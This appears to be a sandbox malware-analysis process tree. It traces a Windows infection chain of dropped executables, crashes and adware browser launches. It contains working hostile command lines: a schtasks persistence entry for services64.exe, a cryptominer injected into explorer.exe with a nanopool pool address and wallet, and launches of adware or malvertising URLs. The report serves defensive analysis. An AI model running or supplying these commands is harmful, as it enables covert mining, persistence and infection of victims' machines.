C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.107 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.62 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ff9e2b746f8,0x7ff9e2b74708,0x7ff9e2b7471810⤵PID:5484
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.profitabletrustednetwork.com/b1fsmdd9m?key=7e872dab99d78bffc4aa0c1e6b062dad9⤵PID:7772
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.107 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.62 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ff9e2b746f8,0x7ff9e2b74708,0x7ff9e2b7471810⤵PID:8012
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://vexacion.com/afu.php?zoneid=18514839⤵PID:4380
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.107 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.62 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ff9e2b746f8,0x7ff9e2b74708,0x7ff9e2b7471810⤵PID:7796
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://vexacion.com/afu.php?zoneid=18515139⤵PID:7472
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.107 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.62 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ff9e2b746f8,0x7ff9e2b74708,0x7ff9e2b7471810⤵PID:6328
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://www.directdexchange.com/jump/next.php?r=20872159⤵PID:7596
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.107 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.62 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ff9e2b746f8,0x7ff9e2b74708,0x7ff9e2b7471810⤵PID:6004
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.directdexchange.com/jump/next.php?r=42631199⤵PID:7544
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.107 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.62 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ff9e2b746f8,0x7ff9e2b74708,0x7ff9e2b7471810⤵PID:5556
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://vexacion.com/afu.php?id=12942319⤵PID:2032
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.107 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.62 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ff9e2b746f8,0x7ff9e2b74708,0x7ff9e2b7471810⤵PID:6732
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://vexacion.com/afu.php?zoneid=1492888&var=39⤵PID:5300
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.107 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.62 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ff9e2b746f8,0x7ff9e2b74708,0x7ff9e2b7471810⤵PID:5804
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\7f-841ee-d12-151b1-65f1d3ddd54b7\Tuworykimy.exe"C:\Users\Admin\AppData\Local\Temp\7f-841ee-d12-151b1-65f1d3ddd54b7\Tuworykimy.exe"8⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:5184 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\qwb4ar21.jeu\GcleanerEU.exe /eufive & exit9⤵PID:5496
-
C:\Users\Admin\AppData\Local\Temp\qwb4ar21.jeu\GcleanerEU.exeC:\Users\Admin\AppData\Local\Temp\qwb4ar21.jeu\GcleanerEU.exe /eufive10⤵PID:5396
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5396 -s 28011⤵
- Program crash
PID:3672
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\0b5mhjlh.3qi\installer.exe /qn CAMPAIGN="654" & exit9⤵PID:4572
-
C:\Users\Admin\AppData\Local\Temp\0b5mhjlh.3qi\installer.exeC:\Users\Admin\AppData\Local\Temp\0b5mhjlh.3qi\installer.exe /qn CAMPAIGN="654"10⤵
- Loads dropped DLL
- Enumerates connected drives
- Modifies system certificate store
- Suspicious use of FindShellTrayWindow
PID:5624 -
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\AW Manager\Windows Manager 1.0.0\install\97FDF62\Windows Manager - Postback Y.msi" /qn CAMPAIGN=654 AI_SETUPEXEPATH=C:\Users\Admin\AppData\Local\Temp\0b5mhjlh.3qi\installer.exe SETUPEXEDIR=C:\Users\Admin\AppData\Local\Temp\0b5mhjlh.3qi\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1630966921 /qn CAMPAIGN=""654"" " CAMPAIGN="654"11⤵PID:4964
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\r0s11qhc.mo5\anyname.exe & exit9⤵
- Executes dropped EXE
PID:5788 -
C:\Users\Admin\AppData\Local\Temp\r0s11qhc.mo5\anyname.exeC:\Users\Admin\AppData\Local\Temp\r0s11qhc.mo5\anyname.exe10⤵PID:3236
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\251fvui5.ejx\gcleaner.exe /mixfive & exit9⤵PID:1100
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV110⤵PID:2560
-
-
C:\Users\Admin\AppData\Local\Temp\251fvui5.ejx\gcleaner.exeC:\Users\Admin\AppData\Local\Temp\251fvui5.ejx\gcleaner.exe /mixfive10⤵PID:1240
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1240 -s 28411⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:4268
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\g3zqdvkx.sjh\autosubplayer.exe /S & exit9⤵
- Suspicious use of SetWindowsHookEx
PID:2884
-
-
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Thu21568b0ab8.exe4⤵PID:1992
-
C:\Users\Admin\AppData\Local\Temp\7zSC7F7FBE3\Thu21568b0ab8.exeThu21568b0ab8.exe5⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4548 -
C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"6⤵
- Executes dropped EXE
PID:2088 -
C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe"C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe"7⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5584 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit8⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
PID:6056 -
C:\Windows\system32\schtasks.exeschtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'9⤵
- Creates scheduled task(s)
PID:5672
-
-
-
C:\Users\Admin\AppData\Roaming\services64.exe"C:\Users\Admin\AppData\Roaming\services64.exe"8⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
PID:6016 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit9⤵PID:5592
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'10⤵
- Blocklisted process makes network request
- Executes dropped EXE
- Creates scheduled task(s)
- Suspicious use of AdjustPrivilegeToken
PID:1576
-
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"9⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
PID:5572
-
-
C:\Windows\explorer.exeC:\Windows\explorer.exe --cinit-find-x -B --algo=rx/0 --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr-eu2.nanopool.org:14433 --user=41o1Bi5waqLgbkV653RD7zSYeXSWRu1wnEDzPgFDFwntSnuRx7g4HbHPqNDGS6BW1bget6yyHyrPbBcVsdR6Ebxd843bMuK.add/password --pass= --cpu-max-threads-hint=30 --cinit-remote-config="v4Qq47ngFyBcSyO2uLKc6O4DG/ZgkwoY7/pmBv4ks3wJ7PR9JPsLklOJLkitFc6Y" --cinit-idle-wait=5 --cinit-idle-cpu=70 --tls --cinit-stealth9⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:3284
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\PublicDwlBrowser1100.exe"C:\Users\Admin\AppData\Local\Temp\PublicDwlBrowser1100.exe"7⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:5808 -
C:\ProgramData\1501577.exe"C:\ProgramData\1501577.exe"8⤵
- Executes dropped EXE
- Suspicious behavior: SetClipboardViewer
PID:1800
-
-
C:\ProgramData\1928742.exe"C:\ProgramData\1928742.exe"8⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5972 -
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 5972 -s 23089⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
PID:5032
-
-
-
C:\ProgramData\7258913.exe"C:\ProgramData\7258913.exe"8⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5436
-
-
C:\ProgramData\1930627.exe"C:\ProgramData\1930627.exe"8⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5448 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5448 -s 24929⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
PID:2352
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\2.exe"C:\Users\Admin\AppData\Local\Temp\2.exe"7⤵PID:6016
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 6016 -s 17248⤵
- Program crash
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
PID:4796
-
-
-
C:\Users\Admin\AppData\Local\Temp\setup.exe"C:\Users\Admin\AppData\Local\Temp\setup.exe"7⤵
- Executes dropped EXE
PID:6104
-
-
C:\Users\Admin\AppData\Local\Temp\udptest.exe"C:\Users\Admin\AppData\Local\Temp\udptest.exe"7⤵
- Executes dropped EXE
PID:5144 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5144 -s 3088⤵
- Program crash
PID:2008
-
-
-
C:\Users\Admin\AppData\Local\Temp\DVORAK.exe"C:\Users\Admin\AppData\Local\Temp\DVORAK.exe"7⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4540 -
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 4540 -s 16768⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
PID:5088
-
-
-
C:\Users\Admin\AppData\Local\Temp\setup_2.exe"C:\Users\Admin\AppData\Local\Temp\setup_2.exe"7⤵
- Executes dropped EXE
PID:3644 -
C:\Users\Admin\AppData\Local\Temp\is-O08PI.tmp\setup_2.tmp"C:\Users\Admin\AppData\Local\Temp\is-O08PI.tmp\setup_2.tmp" /SL5="$10354,140785,56832,C:\Users\Admin\AppData\Local\Temp\setup_2.exe"8⤵
- Executes dropped EXE
- Loads dropped DLL
PID:5360 -
C:\Users\Admin\AppData\Local\Temp\setup_2.exe"C:\Users\Admin\AppData\Local\Temp\setup_2.exe" /SILENT9⤵
- Executes dropped EXE
PID:5348 -
C:\Users\Admin\AppData\Local\Temp\is-HSK14.tmp\setup_2.tmp"C:\Users\Admin\AppData\Local\Temp\is-HSK14.tmp\setup_2.tmp" /SL5="$502C4,140785,56832,C:\Users\Admin\AppData\Local\Temp\setup_2.exe" /SILENT10⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
PID:2128
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\3002.exe"C:\Users\Admin\AppData\Local\Temp\3002.exe"7⤵
- Executes dropped EXE
PID:784 -
C:\Users\Admin\AppData\Local\Temp\3002.exe"C:\Users\Admin\AppData\Local\Temp\3002.exe" -a8⤵
- Executes dropped EXE
PID:1380
-
-
-
C:\Users\Admin\AppData\Local\Temp\jhuuee.exe"C:\Users\Admin\AppData\Local\Temp\jhuuee.exe"7⤵
- Executes dropped EXE
PID:4336
-
-
C:\Users\Admin\AppData\Local\Temp\BearVpn 3.exe"C:\Users\Admin\AppData\Local\Temp\BearVpn 3.exe"7⤵PID:1576
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Thu2102ff6cfe07c.exe4⤵PID:2432
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Thu21df5caa1b78de6.exe /mixone4⤵PID:1640
-
-
-
-
C:\Windows\System32\sihclient.exeC:\Windows\System32\sihclient.exe /cv 92GwURs0+UOTl7UTHcO7Cw.0.21⤵
- Modifies data under HKEY_USERS
PID:4144
-
C:\Users\Admin\AppData\Local\Temp\7zSC7F7FBE3\Thu2102ff6cfe07c.exeThu2102ff6cfe07c.exe1⤵
- Executes dropped EXE
PID:3644
-
C:\Users\Admin\AppData\Local\Temp\is-6GJ94.tmp\Thu21b93295136197.tmp"C:\Users\Admin\AppData\Local\Temp\is-6GJ94.tmp\Thu21b93295136197.tmp" /SL5="$20170,138429,56832,C:\Users\Admin\AppData\Local\Temp\7zSC7F7FBE3\Thu21b93295136197.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of FindShellTrayWindow
PID:3060 -
C:\Users\Admin\AppData\Local\Temp\is-OM1TU.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-OM1TU.tmp\Setup.exe" /Verysilent2⤵
- Executes dropped EXE
- Drops file in Program Files directory
PID:5420 -
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://iplis.ru/1S2Qs73⤵
- Adds Run key to start application
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
PID:1648 -
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.107 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.62 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ff9e2b746f8,0x7ff9e2b74708,0x7ff9e2b747184⤵PID:1620
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2088,668828146774169730,3873925317036414201,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2096 /prefetch:24⤵PID:2548
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2088,668828146774169730,3873925317036414201,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2192 /prefetch:34⤵
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
PID:3656
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2088,668828146774169730,3873925317036414201,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2796 /prefetch:84⤵PID:5008
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2088,668828146774169730,3873925317036414201,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3452 /prefetch:14⤵PID:3284
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2088,668828146774169730,3873925317036414201,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3468 /prefetch:14⤵PID:3264
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2088,668828146774169730,3873925317036414201,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3612 /prefetch:14⤵PID:3448
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2088,668828146774169730,3873925317036414201,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5032 /prefetch:14⤵PID:5856
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.62\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.62\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2088,668828146774169730,3873925317036414201,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5464 /prefetch:84⤵PID:6096
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.62\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.62\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2088,668828146774169730,3873925317036414201,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5464 /prefetch:84⤵PID:1564
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2088,668828146774169730,3873925317036414201,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5400 /prefetch:14⤵PID:5564
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2088,668828146774169730,3873925317036414201,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5664 /prefetch:14⤵PID:2600
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2088,668828146774169730,3873925317036414201,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1764 /prefetch:14⤵PID:5600
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2088,668828146774169730,3873925317036414201,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6176 /prefetch:14⤵PID:5004
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2088,668828146774169730,3873925317036414201,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5768 /prefetch:14⤵PID:2848
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2088,668828146774169730,3873925317036414201,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6200 /prefetch:14⤵PID:6504
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2088,668828146774169730,3873925317036414201,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.22000.1 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=6828 /prefetch:24⤵PID:1596
-
-
